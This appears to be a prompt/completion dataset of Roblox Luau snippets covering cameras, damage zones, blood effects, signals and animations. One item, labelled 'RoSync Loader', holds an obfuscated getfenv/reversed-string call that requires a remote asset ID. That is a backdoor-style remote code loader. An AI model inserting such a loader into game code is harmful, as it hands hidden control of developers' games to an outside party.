prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[[ Last synced 9/30/2022 11:50 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
-- Variables
local poolSizeMultiplier = getSetting("Pool size multiplier") or 1 playerService.PlayerAdded:Connect(function (plr) if not workspace:FindFirstChild("Blood") then folder = Instance.new("Folder", workspace) folder.Name = "Blood" end local charFolder = Instance.new("Folder", folder) charFolder.Name = plr.Name plr.CharacterAdded:Connect(function (char) local humanoid = char:WaitForChild("Humanoid") humanoid.Died:Connect(function () pcall(function () local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or nil local root = char:FindFirstChild("HumanoidRootPart") or nil local base local function bloodPool (part, limbCenter) local pool = Instance.new("Part", charFolder) pool.CanCollide = false pool.BrickColor = Color3.fromRGB(117, 0, 0) pool.Material = Enum.Material.Glass pool.Transparency = 0.2 pool.Reflectance = 0.2 pool.CastShadow = true pool.Shape = "Cylinder" pool.Anchored = true pool.Size = Vector3.new(.1, 0, 0) pool.CFrame = part.CFrame if limbCenter then pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y - (base.Size.Y / 2) + math.random(0, .2), torso.Position.Z + math.random(-4, 4)) else pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y + (base.Size.Y / 2), torso.Position.Z + math.random(-4, 4)) end pool.Orientation = Vector3.new(0, 0, 90) tweenService:Create(pool, TweenInfo.new(math.random(.4, 4), Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = Vector3.new(.1, math.random(3, 7) * poolSizeMultiplier, math.random(3, 7) *poolSizeMultiplier)}):Play() debris:AddItem(pool, 9) end if char.Humanoid.RigType == Enum.HumanoidRigType.R6 then wait(.2) if not char:FindFirstChild("Head") and workspace:FindFirstChild(plr.Name .. "-2") then char = workspace[plr.Name .. "-2"] end end repeat wait() until math.floor(torso.Velocity.Magnitude) == 0 local baseBlacklist = char:GetChildren() pcall(function () for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Character then for _,v in pairs(plr.Character:GetChildren()) do if v:IsA("BasePart") then table.insert(baseBlacklist, v) elseif v:IsA("Accoutrement") then table.insert(baseBlacklist, v:FindFirstChildWhichIsA("BasePart")) elseif v:IsA("Tool") and v:FindFirstChild("Handle") then table.insert(baseBlacklist, v.Handle) end end end if workspace:FindFirstChild(plr.Name .. "-2") then for _,p in pairs(workspace[plr.Name .. "-2"]:GetChildren()) do if p:IsA("BasePart") then table.insert(baseBlacklist, p) elseif p:IsA("Accoutrement") then table.insert(baseBlacklist, p:FindFirstChildWhichIsA("BasePart")) end end end end end) if type(baseBlacklist) == "table" then local limbCenter = false base = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(torso.Position - torso.Size * 2, torso.Position + torso.Size * 2), baseBlacklist, 1)[1] if not base then if char:FindFirstChild("Left Leg") then base = char["Left Leg"] limbCenter = true elseif char:FindFirstChild("LeftFoot") then base = char["LeftFoot"] limbCenter = true end end if base then for _,limb in pairs(char:GetChildren()) do if limb:IsA("BasePart") and limb.Name ~= "HumanoidRootPart" then bloodPool(limb, limbCenter) end end end end end) end) end) end) playerService.PlayerRemoving:Connect(function (plr) if folder:FindFirstChild(plr.Name) then folder[plr.Name]:Destroy() end end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Hand zone" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Computes the look-angle to be used by the client. -- If no lookVector is provided, the camera's lookVector is used instead. -- useDir (-1 or 1) can be given to force whether the direction is flipped or not.
function CharacterRealism:ComputeLookAngle(lookVector, useDir) local pitch, yaw, dir = 0, 0, 1 if not lookVector then local camera = workspace.CurrentCamera lookVector = camera.CFrame.LookVector end if lookVector then local character = self.Player.Character local rootPart = character and character:FindFirstChild("HumanoidRootPart") if rootPart and rootPart:IsA("BasePart") then local cf = rootPart.CFrame pitch = -cf.RightVector:Dot(lookVector) end yaw = lookVector.Y end if useDir then dir = useDir end pitch *= dir yaw *= dir return pitch, yaw end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Character.Purity.Value < -25 end
--[[ Disconnects existing connections ]]
local function disconnectOldConnections() for _, connection in ipairs(connections) do if connection then connection:Disconnect() end end connections = {} end
--[[ Constructs special keys for property tables which connect property change listeners to an instance. ]]
local parseError = require(script.Parent.Parent.Dependencies).utility.parseError local function OnChange(propertyName: string) local changeKey = {} changeKey.type = "SpecialKey" changeKey.kind = "OnChange" changeKey.stage = "observer" function changeKey:apply(callback: (property: unknown) -> (), applyTo: Instance, cleanupTasks: {}) local ok, event = pcall(applyTo.GetPropertyChangedSignal, applyTo, propertyName) if not ok then parseError("cannotConnectChange", applyTo.ClassName, propertyName) elseif typeof(callback) ~= "function" then parseError("invalidChangeHandler", propertyName) else table.insert(cleanupTasks, event:Connect(function() callback((applyTo :: any)[propertyName]) end)) end end return changeKey end return OnChange
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 20 -- cooldown for use of the tool again ZoneModelName = "Fatal void" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Reset the camera look vector when the camera is enabled for the first time
local SetCameraOnSpawn = true local UseRenderCFrame = false pcall(function() local rc = Instance.new('Part'):GetRenderCFrame() UseRenderCFrame = (rc ~= nil) end) local function GetRenderCFrame(part) return UseRenderCFrame and part:GetRenderCFrame() or part.CFrame end local function CreateCamera() local this = {} this.ShiftLock = false this.Enabled = false local pinchZoomSpeed = 20 local isFirstPerson = false local isRightMouseDown = false this.RotateInput = Vector2.new() function this:GetShiftLock() return ShiftLockController:IsShiftLocked() end function this:GetHumanoid() local player = PlayersService.LocalPlayer return findPlayerHumanoid(player) end function this:GetHumanoidRootPart() local humanoid = this:GetHumanoid() return humanoid and humanoid.Torso end function this:GetRenderCFrame(part) GetRenderCFrame(part) end function this:GetSubjectPosition() local result = nil local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA('VehicleSeat') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(SEAT_OFFSET) elseif cameraSubject:IsA('SkateboardPlatform') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + SEAT_OFFSET elseif cameraSubject:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p elseif cameraSubject:IsA('Model') then result = cameraSubject:GetModelCFrame().p elseif cameraSubject:IsA('Humanoid') then local humanoidRootPart = cameraSubject.Torso if humanoidRootPart and humanoidRootPart:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(humanoidRootPart) result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(HEAD_OFFSET + cameraSubject.CameraOffset) end end end return result end function this:ResetCameraLook() end function this:GetCameraLook() return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1) end function this:GetCameraZoom() if this.currentZoom == nil then local player = PlayersService.LocalPlayer this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, 10) or 10 end return this.currentZoom end function this:GetCameraActualZoom() local camera = workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end end function this:ViewSizeX() local result = 1024 local player = PlayersService.LocalPlayer local mouse = player and player:GetMouse() if mouse then result = mouse.ViewSizeX end return result end function this:ViewSizeY() local result = 768 local player = PlayersService.LocalPlayer local mouse = player and player:GetMouse() if mouse then result = mouse.ViewSizeY end return result end function this:ScreenTranslationToAngle(translationVector) local screenX = this:ViewSizeX() local screenY = this:ViewSizeY() local xTheta = (translationVector.x / screenX) local yTheta = (translationVector.y / screenY) return Vector2.new(xTheta, yTheta) end function this:MouseTranslationToAngle(translationVector) local xTheta = (translationVector.x / 1920) local yTheta = (translationVector.y / 1200) return Vector2.new(xTheta, yTheta) end function this:RotateCamera(startLook, xyRotateVector) -- Could cache these values so we don't have to recalc them all the time local startCFrame = CFrame.new(Vector3.new(), startLook) local startVertical = math.asin(startLook.y) local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y) local resultLookVector = (CFrame.Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame.Angles(-yTheta,0,0)).lookVector return resultLookVector, Vector2.new(xyRotateVector.x, yTheta) end function this:IsInFirstPerson() return isFirstPerson end -- there are several cases to consider based on the state of input and camera rotation mode function this:UpdateMouseBehavior() -- first time transition to first person mode or shiftlock if isFirstPerson or self:GetShiftLock() then if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end) UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter end else pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end) if isRightMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end function this:ZoomCamera(desiredZoom) local player = PlayersService.LocalPlayer if player then if player.CameraMode == Enum.CameraMode.LockFirstPerson then this.currentZoom = 0 else this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom) end end isFirstPerson = self:GetCameraZoom() < 2 ShiftLockController:SetIsInFirstPerson(isFirstPerson) -- set mouse behavior self:UpdateMouseBehavior() return self:GetCameraZoom() end local function rk4Integrator(position, velocity, t) local direction = velocity < 0 and -1 or 1 local function acceleration(p, v) local accel = direction * math.max(1, (p / 3.3) + 0.5) return accel end local p1 = position local v1 = velocity local a1 = acceleration(p1, v1) local p2 = p1 + v1 * (t / 2) local v2 = v1 + a1 * (t / 2) local a2 = acceleration(p2, v2) local p3 = p1 + v2 * (t / 2) local v3 = v1 + a2 * (t / 2) local a3 = acceleration(p3, v3) local p4 = p1 + v3 * t local v4 = v1 + a3 * t local a4 = acceleration(p4, v4) local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6) local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6) return positionResult, velocityResult end function this:ZoomCameraBy(zoomScale) local zoom = this:GetCameraActualZoom() if zoom then -- Can break into more steps to get more accurate integration zoom = rk4Integrator(zoom, zoomScale, 1) self:ZoomCamera(zoom) end return self:GetCameraZoom() end function this:ZoomCameraFixedBy(zoomIncrement) return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement) end function this:Update() end ---- Input Events ---- local startPos = nil local lastPos = nil local panBeginLook = nil local fingerTouches = {} local NumUnsunkTouches = 0 local StartingDiff = nil local pinchBeginZoom = nil this.ZoomEnabled = true this.PanEnabled = true this.KeyPanEnabled = true local function OnTouchBegan(input, processed) fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end local function OnTouchChanged(input, processed) if fingerTouches[input] == nil then fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end if NumUnsunkTouches == 1 then if fingerTouches[input] == false then panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true local delta = input.Position - lastPos if this.PanEnabled then local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = input.Position end else panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end if NumUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if StartingDiff and pinchBeginZoom then local scale = difference / math.max(0.01, StartingDiff) local clampedScale = clamp(0.1, 40, scale) if this.ZoomEnabled then this:ZoomCamera(pinchBeginZoom / clampedScale) end else StartingDiff = difference pinchBeginZoom = this:GetCameraActualZoom() end end else StartingDiff = nil pinchBeginZoom = nil end end local function OnTouchEnded(input, processed) if fingerTouches[input] == false then if NumUnsunkTouches == 1 then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false elseif NumUnsunkTouches == 2 then StartingDiff = nil pinchBeginZoom = nil end end if fingerTouches[input] ~= nil and fingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end fingerTouches[input] = nil end local function OnMouse2Down(input, processed) if processed then return end isRightMouseDown = true this:UpdateMouseBehavior() panBeginLook = this:GetCameraLook() startPos = input.Position lastPos = startPos this.UserPanningTheCamera = true end local function OnMouse2Up(input, processed) isRightMouseDown = false this:UpdateMouseBehavior() panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end local function OnMouseMoved(input, processed) if startPos and lastPos and panBeginLook then local currPos = lastPos + input.Delta local totalTrans = currPos - startPos if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = currPos elseif this:IsInFirstPerson() or this:GetShiftLock() then if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end end end local function OnMouseWheel(input, processed) if not processed then if this.ZoomEnabled then this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4) end end end local function round(num) return math.floor(num + 0.5) end local eight2Pi = math.pi / 4 local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount) if camLook ~= Vector3.new(0,0,0) then camLook = camLook.unit local currAngle = math.atan2(camLook.z, camLook.x) local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end local function OnKeyDown(input, processed) if processed then return end if this.ZoomEnabled then if input.KeyCode == Enum.KeyCode.I then this:ZoomCameraBy(-5) elseif input.KeyCode == Enum.KeyCode.O then this:ZoomCameraBy(5) end end if panBeginLook == nil and this.KeyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = true elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = true elseif input.KeyCode == Enum.KeyCode.Comma then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.Period then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.PageUp then --elseif input.KeyCode == Enum.KeyCode.Home then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15)) this.LastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then --elseif input.KeyCode == Enum.KeyCode.End then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15)) this.LastCameraTransform = nil end end end local function OnKeyUp(input, processed) if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = false elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = false end end local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 0.1 local thumbstickSensitivity = 1.0 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.65 local lastVelocity = nil -- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t) t = clamp(-1,1,t) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end -- DEADZONE local DEADZONE = 0.1 local function toSCurveSpace(t) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t) return t/2 + 0.5 end local function gamepadLinearToCurve(thumbstickPosition) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return clamp(-1,1,point) end return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end function this:UpdateGamepad() local gamepadPan = this.GamepadPanningCamera if gamepadPan then gamepadPan = gamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then this.userPanningTheCamera = true elseif gamepadPan == Vector2.new(0,0) then lastThumbstickRotate = nil if lastThumbstickPos == Vector2.new(0,0) then currentSpeed = 0 end end local finalConstant = 0 if lastThumbstickRotate then local elapsedTime = (currentTime - lastThumbstickRotate) * 10 currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds)) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end if lastVelocity then local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) local velocityDeltaMag = (velocity - lastVelocity).magnitude if velocityDeltaMag > 12 then currentSpeed = currentSpeed * (20/velocityDeltaMag) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end end end finalConstant = thumbstickSensitivity * currentSpeed lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) end lastThumbstickPos = gamepadPan lastThumbstickRotate = currentTime return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity) end return Vector2.new(0,0) end local InputBeganConn, InputChangedConn, InputEndedConn, ShiftLockToggleConn = nil, nil, nil, nil function this:DisconnectInputEvents() if InputBeganConn then InputBeganConn:disconnect() InputBeganConn = nil end if InputChangedConn then InputChangedConn:disconnect() InputChangedConn = nil end if InputEndedConn then InputEndedConn:disconnect() InputEndedConn = nil end if ShiftLockToggleConn then ShiftLockToggleConn:disconnect() ShiftLockToggleConn = nil end this.TurningLeft = false this.TurningRight = false this.LastCameraTransform = nil self.LastSubjectCFrame = nil this.UserPanningTheCamera = false this.RotateInput = Vector2.new() this.GamepadPanningCamera = Vector2.new(0,0) -- Reset input states startPos = nil lastPos = nil panBeginLook = nil isRightMouseDown = false fingerTouches = {} NumUnsunkTouches = 0 StartingDiff = nil pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end function this:ConnectInputEvents() InputBeganConn = UserInputService.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then OnMouse2Down(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyDown(input, processed) end end) InputChangedConn = UserInputService.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement and not IsTouch then OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel and not IsTouch then OnMouseWheel(input, processed) end end) InputEndedConn = UserInputService.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then OnMouse2Up(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyUp(input, processed) end end) ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function() this:UpdateMouseBehavior() end) this.RotateInput = Vector2.new() local getGamepadPan = function(name, state, input) if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.Thumbstick2 then if state == Enum.UserInputState.Cancel then this.GamepadPanningCamera = Vector2.new(0,0) return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then this.GamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else this.GamepadPanningCamera = Vector2.new(0,0) end end end local doGamepadZoom = function(name, state, input) if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then if this.currentZoom > 0.5 then this:ZoomCamera(0) else this:ZoomCamera(10) end end end game.ContextActionService:BindAction("RootCamGamepadPan", getGamepadPan, false, Enum.KeyCode.Thumbstick2) game.ContextActionService:BindAction("RootCamGamepadZoom", doGamepadZoom, false, Enum.KeyCode.ButtonR3) -- set mouse behavior self:UpdateMouseBehavior() end function this:SetEnabled(newState) if newState ~= self.Enabled then self.Enabled = newState if self.Enabled then self:ConnectInputEvents() else self:DisconnectInputEvents() end end end local function OnPlayerAdded(player) player.Changed:connect(function(prop) if this.Enabled then if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then this:ZoomCameraFixedBy(0) end end end) local function OnCharacterAdded(newCharacter) this:ZoomCamera(12.5) local humanoid = findPlayerHumanoid(player) local start = tick() while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do wait() humanoid = findPlayerHumanoid(player) end local function setLookBehindChatacter() if humanoid and humanoid.Torso and player.Character == newCharacter then local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end this.RotateInput = Vector2.new(horizontalShift, vertShift) -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end wait() setLookBehindChatacter() end player.CharacterAdded:connect(function(character) if this.Enabled or SetCameraOnSpawn then OnCharacterAdded(character) SetCameraOnSpawn = false end end) if player.Character then spawn(function() OnCharacterAdded(player.Character) end) end end if PlayersService.LocalPlayer then OnPlayerAdded(PlayersService.LocalPlayer) end PlayersService.ChildAdded:connect(function(child) if child and PlayersService.LocalPlayer == child then OnPlayerAdded(PlayersService.LocalPlayer) end end) return this end return CreateCamera
-- Implement Signal:Wait() in terms of a temporary connection using -- a Signal:Connect() which disconnects itself.
function Signal:Wait() local waitingCoroutine = coroutine.running() local cn; cn = self:Connect(function(...) cn:Disconnect() task.spawn(waitingCoroutine, ...) end) return coroutine.yield() end return Signal
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
local toolAnimName = "" local toolAnimTrack = nil local toolAnimInstance = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then playToolAnimation(toolAnimName, 0.0, zombie) end end function playToolAnimation(animName, transitionTime, humanoid, priority) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim if (toolAnimInstance ~= anim) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) if priority then toolAnimTrack.Priority = priority end -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName toolAnimInstance = anim currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" toolAnimInstance = nil if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--------------------------------- ---Day/Night Script for Blocks--- ---------------------------------
b = script.Parent local oh,om = 6,10 -- Open Time (hours,minutes) DON'T TOUCH! local ch,cm = 17,30 -- Close Time (hours, minutes) DON'T TOUCH! local l = game:service("Lighting") if (om == nil) then om = 0 end if (cm == nil) then cm = 0 end function TimeChanged() local ot = (oh + (om/60)) * 60 local ct = (ch + (cm/60)) * 60 if (ot < ct) then if (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then b.Material = ("SmoothPlastic") b.Color = Color3.fromRGB(248, 248, 248) else b.Material = ("Neon") b.Color = Color3.fromRGB(150, 150, 150) end elseif (ot > ct) then if (l:GetMinutesAfterMidnight() >= ot) or (l:GetMinutesAfterMidnight() <= ct) then b.Material = ("SmoothPlastic") b.Color = Color3.fromRGB(248, 248, 248) else b.Material = ("Neon") b.Color = Color3.fromRGB(150, 150, 150) end end end TimeChanged() game.Lighting.Changed:connect(function(property) if (property == "TimeOfDay") then TimeChanged() end end)
--[=[ Gets the value of the property object. :::caution This value might not be ready right away. Use `OnReady()` or `IsReady()` before calling `Get()`. If not ready, this value will return `nil`. ::: ]=]
function ClientRemoteProperty:Get(): any return self._value end
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Cork",Paint) end)
-- Custom Services
local database = require(game:GetService("ServerScriptService").Database.DatabaseHandler)
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared
function CameraUtils.ConvertCameraModeEnumToStandard(enumValue: Enum.TouchCameraMovementMode | Enum.ComputerCameraMovementMode | Enum.DevTouchCameraMovementMode | Enum.DevComputerCameraMovementMode): Enum.ComputerCameraMovementMode | Enum.DevComputerCameraMovementMode if enumValue == Enum.TouchCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.ComputerCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Classic or enumValue == Enum.DevTouchCameraMovementMode.Classic or enumValue == Enum.DevComputerCameraMovementMode.Classic or enumValue == Enum.ComputerCameraMovementMode.Classic then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Follow or enumValue == Enum.DevTouchCameraMovementMode.Follow or enumValue == Enum.DevComputerCameraMovementMode.Follow or enumValue == Enum.ComputerCameraMovementMode.Follow then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.TouchCameraMovementMode.Orbital or enumValue == Enum.DevTouchCameraMovementMode.Orbital or enumValue == Enum.DevComputerCameraMovementMode.Orbital or enumValue == Enum.ComputerCameraMovementMode.Orbital then return Enum.ComputerCameraMovementMode.Orbital end if enumValue == Enum.ComputerCameraMovementMode.CameraToggle or enumValue == Enum.DevComputerCameraMovementMode.CameraToggle then return Enum.ComputerCameraMovementMode.CameraToggle end -- Note: Only the Dev versions of the Enums have UserChoice as an option if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or enumValue == Enum.DevComputerCameraMovementMode.UserChoice then return Enum.DevComputerCameraMovementMode.UserChoice end -- For any unmapped options return Classic camera return Enum.ComputerCameraMovementMode.Classic end local function getMouse() local localPlayer = Players.LocalPlayer if not localPlayer then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() localPlayer = Players.LocalPlayer end return localPlayer:GetMouse() end local savedMouseIcon: string = "" local lastMouseIconOverride: string? = nil function CameraUtils.setMouseIconOverride(icon: string) local mouse = getMouse() -- Only save the icon if it was written by another script. if mouse.Icon ~= lastMouseIconOverride then savedMouseIcon = mouse.Icon end mouse.Icon = icon lastMouseIconOverride = icon end function CameraUtils.restoreMouseIcon() local mouse = getMouse() -- Only restore if it wasn't overwritten by another script. if mouse.Icon == lastMouseIconOverride then mouse.Icon = savedMouseIcon end lastMouseIconOverride = nil end local savedMouseBehavior: Enum.MouseBehavior = Enum.MouseBehavior.Default local lastMouseBehaviorOverride: Enum.MouseBehavior? = nil function CameraUtils.setMouseBehaviorOverride(value: Enum.MouseBehavior) if UserInputService.MouseBehavior ~= lastMouseBehaviorOverride then savedMouseBehavior = UserInputService.MouseBehavior end UserInputService.MouseBehavior = value lastMouseBehaviorOverride = value end function CameraUtils.restoreMouseBehavior() if UserInputService.MouseBehavior == lastMouseBehaviorOverride then UserInputService.MouseBehavior = savedMouseBehavior end lastMouseBehaviorOverride = nil end local savedRotationType: Enum.RotationType = Enum.RotationType.MovementRelative local lastRotationTypeOverride: Enum.RotationType? = nil function CameraUtils.setRotationTypeOverride(value: Enum.RotationType) if UserGameSettings.RotationType ~= lastRotationTypeOverride then savedRotationType = UserGameSettings.RotationType end UserGameSettings.RotationType = Enum.RotationType.MovementRelative lastRotationTypeOverride = Enum.RotationType.MovementRelative end function CameraUtils.restoreRotationType() if UserGameSettings.RotationType == lastRotationTypeOverride then UserGameSettings.RotationType = savedRotationType end lastRotationTypeOverride = nil end return CameraUtils
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent.Parent.Parent return require(PackageIndex["Roact-e3b370a8-41af74df"].Packages["Roact"])
-- Gathers up all the scripts in the DevModule. We use the resulting array to -- enable all scripts in one step.
local function getDevModuleScripts(devModule: Folder) local scripts = {} for _, descendant in ipairs(devModule:GetDescendants()) do if descendant.Parent == script.Parent then continue end if descendant:IsA("Script") or descendant:IsA("LocalScript") then table.insert(scripts, descendant) end end return scripts end
--local Energia = Variaveis.Energia
local Ferido = Stances.Ferido local Caido = Stances.Caido -- knocked out local ouch = Caido local rodeath = Stances.rodeath local o2 = Stances.o2 local dead = Stances.dead -- humanoid dead local life = Stances.life local Ragdoll = require(game.ReplicatedStorage.ACS_Engine.Modulos.Ragdoll) local Config = require(game.ReplicatedStorage.ACS_Engine.ServerConfigs.Config)
-- SolarCrane
